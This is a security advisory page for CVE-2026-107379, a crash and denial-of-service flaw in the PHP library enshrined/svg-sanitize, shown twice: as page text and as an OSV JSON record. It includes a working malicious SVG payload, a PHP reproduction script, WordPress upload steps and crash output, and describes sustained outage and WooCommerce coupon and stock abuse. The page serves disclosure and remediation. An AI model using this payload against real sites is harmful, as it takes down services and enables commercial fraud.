CVE-2026-107379: enshrined/svg-sanitize Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-v383-3rw5-q8rf
CVSS 6.5
CWE-770
Published
Advisory Summary

CVE-2026-107379 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting enshrined/svg-sanitize libraries in the Packagist ecosystem. The issue involves denial of service via dtd attribute declaration crash. Remediation is available by upgrading affected packages to version 1.0.0.

CVE-2026-107379 at a Glance

CVE Identifier CVE-2026-107379
GHSA Identifier GHSA-v383-3rw5-q8rf
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product enshrined/svg-sanitize
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-107379

To remediate this vulnerability, upgrade all affected enshrined/svg-sanitize dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

enshrined/svg-sanitize fixed: 1.0.0
Upgrade enshrined/svg-sanitize to 1.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for enshrined/svg-sanitize

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-107379, inspect your project dependencies for enshrined/svg-sanitize:

inspect dependencies for enshrined/svg-sanitize

Analyze the terminal output to locate any version of enshrined/svg-sanitize in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In enshrined/svg-sanitize, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker. **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs - **TYPO3:** svg-sanitize integrated into core since v9 - **Drupal:** community module wrapping svg-sanitize ## Vulnerability Details ### Trigger Flow ``` Sanitizer::sanitize($malicious_svg) → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr → startClean() → cleanAttributesOnWhitelist($svgElement) → "badhref" NOT in allowedAttrs → removeAttribute("badhref") ← removes explicit attribute (safe) → stripos("badhref", "href") = TRUE → getAttribute("badhref") ← returns DTD #FIXED default value → isHrefSafeValue("javascript:x") ← returns FALSE → removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH ``` **Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash. **Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default. ### WordPress Code Path ``` User uploads SVG → WordPress wp_handle_upload() → filter 'wp_handle_upload_prefilter' → SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176] → SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218] → enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193] → cleanAttributesOnWhitelist() → double removeAttribute → CRASH → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502 ``` ## Proof of Concept ### Malicious SVG (evil.svg) ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)"> ]> <svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100"> <rect width="100" height="100" fill="red"/> </svg> ``` ### Standalone reproduction ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('evil.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo "Sanitized: " . strlen($clean) . " bytes\n"; // Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134 ``` ### WordPress reproduction 1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0) 2. Login as Author → Media → Add New → upload `evil.svg` 3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed ### Confirmed output ``` $ docker exec wordpress php /tmp/test.php Sanitized: 157 bytes munmap_chunk(): invalid pointer $ echo $? 134 PHP-FPM log: [WARNING] [pool www] child 17 exited on signal 6 (SIGABRT) ``` ## Impact ### Full Site Denial of Service With `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS. ### Application State Corruption SIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce: - **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons - **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items - **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely ### Attack surface Safe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`. **Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected. | Scenario | Authentication | Affected installs | |---|---|---| | WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ | | WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ | | WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent | | Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads | | TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ | The strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages. ## CVSS **CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role) `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` For custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N) ## Suggested Fix Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version: ```php // In Sanitizer::sanitize(), before loadXML(): $dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty); ``` ## Environment - enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0) - WordPress 6.9.4 + Safe SVG 2.4.0 - PHP 8.3.24 (fpm), NTS, x86_64 - nginx + PHP-FPM (Docker) **Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/) Denis Rostilov**

CVE-2026-107379 Affected enshrined/svg-sanitize Versions

1 component(s)
Fixed Versions:
1.0.0
Product / Package Ecosystem Affected Versions Fixed Version
enshrined/svg-sanitize
Packagist
< 1.0.0
1.0.0

References

Frequently Asked Questions

What is CVE-2026-107379?
CVE-2026-107379 is a security vulnerability in enshrined/svg-sanitize involving Denial of Service via DTD Attribute Declaration Crash under CWE-770: Allocation of Resources Without Limits or Throttling.
Which enshrined/svg-sanitize versions are affected?
Affected versions include releases prior to 1.0.0 across affected packages: enshrined/svg-sanitize.
What version fixes CVE-2026-107379?
Upgrading to 1.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is enshrined/svg-sanitize affected?
Yes, enshrined/svg-sanitize is affected in releases prior to 1.0.0. Upgrade your dependency to 1.0.0 or later.
What is the CVSS score of CVE-2026-107379?
CVE-2026-107379 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-107379?
CVE-2026-107379 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Packagist dependencies for CVE-2026-107379?
Run the dependency tree command: 'inspect dependencies for enshrined/svg-sanitize'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v383-3rw5-q8rf",
  "modified" : "2026-10-08T19:41:05Z",
  "published" : "2026-10-08T19:41:05Z",
  "aliases" : [ "CVE-2026-107379" ],
  "summary" : "enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash",
  "details" : "## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n  → startClean() → cleanAttributesOnWhitelist($svgElement)\n    → \"badhref\" NOT in allowedAttrs\n    → removeAttribute(\"badhref\")          ← removes explicit attribute (safe)\n    → stripos(\"badhref\", \"href\") = TRUE\n    → getAttribute(\"badhref\")             ← returns DTD #FIXED default value\n    → isHrefSafeValue(\"javascript:x\")    ← returns FALSE\n    → removeAttribute(\"badhref\")          ← hits XML_ATTRIBUTE_DECL → CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG → WordPress wp_handle_upload()\n  → filter 'wp_handle_upload_prefilter'\n  → SafeSvg\\safe_svg::check_for_svg()        [safe-svg.php:176]\n  → SafeSvg\\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]\n  → enshrined\\Sanitizer::sanitize($contents)   [Sanitizer.php:193]\n  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH\n  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE svg [\n  <!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\">\n]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\">\n  <rect width=\"100\" height=\"100\" fill=\"red\"/>\n</svg>\n```\n\n### Standalone reproduction\n\n```php\n<?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('evil.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer->sanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author → Media → Add New → upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\\[.*?\\])?\\s*>/si', '', $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "enshrined/svg-sanitize"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107379"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/darylldoyle/svg-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:41:05Z",
    "nvd_published_at" : "2026-10-08T18:17:23Z"
  }
}